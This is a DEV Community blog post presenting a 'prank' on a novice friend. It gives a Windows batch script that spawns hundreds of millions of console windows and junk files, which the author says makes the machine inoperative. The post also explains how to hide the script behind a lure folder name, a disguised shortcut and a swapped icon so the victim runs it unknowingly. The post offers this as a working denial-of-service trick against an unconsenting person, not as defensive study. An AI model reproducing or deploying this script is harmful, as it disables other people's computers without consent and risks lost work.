DEV Community

Cover image for Prank your friend with that fake virus ☢ ☣
Dantor24
Dantor24

Posted on

5 2

Prank your friend with that fake virus ☢ ☣

I wanna show you an easy way to prank your novice friend just with this little script batch.I hope you have an editor on your computers such as notepad, vscode, or whatever. As far as I'm concerned, I'll use vscode to do the job. let's start!

Step1

create a folder with a name that gets your friend's attention.

example of name : top_movies_2022, tuto_python and so on

vscode screenshop

Step2

Create a file with the extension .bat and add the script below

set txt="臭枓枕朕毂"

for /L %%i in ( 0,1,500000000) do  start cmd echo >旃甡臭枓枕朕毂幹%%i%txt%

Enter fullscreen mode Exit fullscreen mode

😜 Don't worry about the Chinese symbols, it just created misunderstood file names. I create a loop with an excessive number that launches the console and create a file after each iteration. It will saturate the resources of the machine and will make it inoperative.

script screenshot

Step3

hide your trick! To do this, we will create a shortcut and apply another icon, then hide the script file.

gif tuto step 3

And now let's see the final result

gif final result

Reinvent your career. Join DEV.

It takes one minute and is worth it for your career.

Get started

Top comments (0)

AWS Security LIVE!

Tune in for AWS Security LIVE!

Join AWS Security LIVE! for expert insights and actionable tips to protect your organization and keep security teams prepared.

Learn More

👋 Kindness is contagious

Discover a treasure trove of wisdom within this insightful piece, highly respected in the nurturing DEV Community enviroment. Developers, whether novice or expert, are encouraged to participate and add to our shared knowledge basin.

A simple "thank you" can illuminate someone's day. Express your appreciation in the comments section!

On DEV, sharing ideas smoothens our journey and strengthens our community ties. Learn something useful? Offering a quick thanks to the author is deeply appreciated.

Okay